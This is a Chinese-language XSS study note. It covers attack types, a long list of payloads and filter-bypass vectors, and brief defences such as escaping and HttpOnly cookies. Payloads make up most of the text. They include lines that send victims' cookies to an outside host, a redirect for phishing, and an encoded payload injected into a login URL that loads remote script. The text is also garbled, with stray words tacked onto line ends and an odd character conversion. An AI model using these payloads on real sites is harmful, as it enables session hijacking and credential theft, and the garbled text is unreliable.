關於xss攻擊,網上相關的介紹不少,一搜索也是一大堆,這裏我就對本身感興趣的一些內容作個總結。javascript
成因:xss是將惡意代碼(可能是JavaScript)插入html代碼中。php
分類:html
一、 反射型java
二、 存儲型chrome
三、 DOM型服務器
攻擊者構造可執行JavaScript的攻擊連接,發送給受害者,多用於獲取cookie,由於cookie能夠使你假裝成受害者來登陸。還能夠定向到別的網站,下載病毒連接等等。cookie
反射型xss是向連接傳入參數時發生的,須要誘騙受害者點擊。而存儲型是存在服務器中的,好比發表的文章,供訪問者瀏覽的信息等等,危害更大。框架
DOM型xss屬於反射型xss的一種,只是不經過服務器,DOM跨站是純頁面腳本的輸出,只有規範使用JAVASCRIPT,才能夠防護。dom
由於DOM型比較難理解,因此找了一些連接有興趣,能夠在深刻了解一下。xss
DOM-based XSS 與存儲性 XSS、反射型 XSS 有什麼區別?
若是彈窗成功,說明存在xss漏洞,下面是幾種常見的跨站攻擊方法。
<script>alert(document.cookie)</script>
閉合或註釋以前的語句
"/><script>alert(document.cookie)</script><!--
--><script>alert(document.cookie)</script><!--
其餘寫法
"onclick="alert(document.cookie) </dd><script>alert(/xss/)</script> <script>alert(/liscker/);</script>
"><img%20src=1%20onerror=alert(1)>
<marquee/onstart="confirm`1`">
< a href=javascript:alert(1)>
alert()函數過濾:
<script>alert('xss')</script> <script>confirm('xss')</script> <script>prompt('xss')</script>
<script>標籤過濾:
<a href="onclick=alert('xss')"> click</a>
123"><a/href=//www.baidu.com/>XssTest</a> <img src=# onerror=alert('xss')></img> <iframe onload=alert('xss')>
base64加密
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>
setTimeout
<svg/onload=setTimeout('ale'+'rt(1)',0)>
過濾雙引號
<input onfocus=alert(1) autofocus> <select onfocus=alert(1) autofocus>
chrome
<img src ?itworksonchrome?\/onerror = alert(1)>
data形式
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></object> <embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></embed> <script src=data:%26comma;alert(1)></script>
ontoggle
<details open ontoggle="alert('已是黄昏独自愁,一枝红杏出墙来')">
frame
<frame src="javascript:alert(1)"> <frame src="javascript:%20%0aalert%20%0d %09(1)"> <iframe srcdoc="<img src=x:x onerror=alert(1)>" />
2134'></textarea><script>alert(/xss/)</script><textarea>
url加密繞圓括號
<svg/onload=alert(1)> <svg onload='JavascRipT:alert%281%29'> <svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">
XSS漏洞利用方式:
<script>window.location="http://www.baidu.com"</script> 重定向釣魚 <script>window.location="http://1.1.1.1/cookie.php?cookie="+document.cookie;</script> 接受客戶端cookie <script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie; </script>
http://login.xxx.com/sso/m/mobile-login.do?next_page=http://m.xxx.com&f=coursek12xss",}});setTimeout(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vZHQzMDEuY29tLzAuanMnOw=='),0);({validate: {//
XSS變種的類型在於JavaScript能執行的位置有多少。
1)confirm() 方法用於顯示一個帶有指定消息和 OK 及取消按鈕的對話框。
"/><ScRiPt>confirm(9174)</ScRiPt>
2)跳轉連接
<a/href=//www.baidu.com/>XssTest</a> <a href="javascript:alert(1)">x</a>
3)img類型的xss
<img src='#' onerror='alert("XSS")' > <img src='' onerror=alert(/poc/)>
4)對於過濾<>
%27;alert%28/aa/%29;a=%27
5)郵箱系統,存儲型
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
6)inframe框架執行JS
<iframe src="javascript:alert(1)"></iframe>
1) 對特殊字符進行轉義
2) 直接將標籤過濾掉
3) 對cookie設置httponly
以前一直不瞭解究竟是幹什麼用的,我理解是限定對cookie的訪問只能走http協議,而不能經過JavaScript獲取到cookie。
關於如何設置httponly?
百度的(全) http://jingyan.baidu.com/article/5553fa82a8248c65a3393442.html
java的 http://zhenghaoju700.blog.163.com/blog/static/13585951820138267195385/
4) 對用戶的輸入內容作限制
能夠用正則對出入格式進行匹配。
5) 對數據進行在編碼處理
參考:
反射型XSS攻擊
http://blog.163.com/biaoxiaoqun@126/blog/static/376791602014718103941487/
https://www.cnblogs.com/seeker01/p/7921186.html
背景:後臺對如下字符進行轉義:<、>、’、」。
能夠經過 u003cu003e來代替<>
實際案例:
後臺輸出JSON格式數據時,通常都會在前面添加轉義符進行轉義。
理想狀況:u003cimg src=1 onerror=alert(/xss/)u003e
實際狀況:
document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";
由於暱稱被轉義,u003c一樣被轉義了。
針對於此狀況,能夠利用半字節
[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e
==================================================================
餘弦的主題---學習和記錄大佬總結的經驗。
出處:http://weibo.com/evilcos?is_hot=1#1497420192019
#姿式# XSS’OR -> CODZ -> VECTOR CODZ -> XSSMisc
新增XSS攻擊向量:
<img/src==」x onerror=alert(1)//」> <div/style==」x onclick=alert(1)//」>XSS’OR <div style=behavior:url(「onclick=alert(1)//」>XSS’OR <div style=x:x(「 onclick=alert(1)//」>XSS’OR
還有發散空間,用於繞過XSS過濾機制
裏面的:
<script>`</div><div>`-alert(123)</script> <script>`</div><div>`+alert(123)</script> <script>`</div><div>`/alert(123)</script> <script>`</div><div>`%alert(123)</script> <script>`</div><div>`==alert(123)</script> <script>`</div><div>`/=alert(123)</script> # Only Edge <script>`</div><div>`*=alert(123)</script> # Only Edge
關鍵key是:
做用:
拿來bypass找XSS
這個XSSMisc,列的基本都是找XSS漏洞經常使用的VECTOR(向量),這些VECTOR都是拿來作過濾的bypass嘗試的
<title><img src=」</title><img src=x onerror=alert(1)//」>
本質:<titile>這個標籤的「解析高優先級」,很霸道的必須找到閉合</title>,找到了才肯罷休。利用這個特性,拆散src後面的雙引號閉合,實現img onerror的執行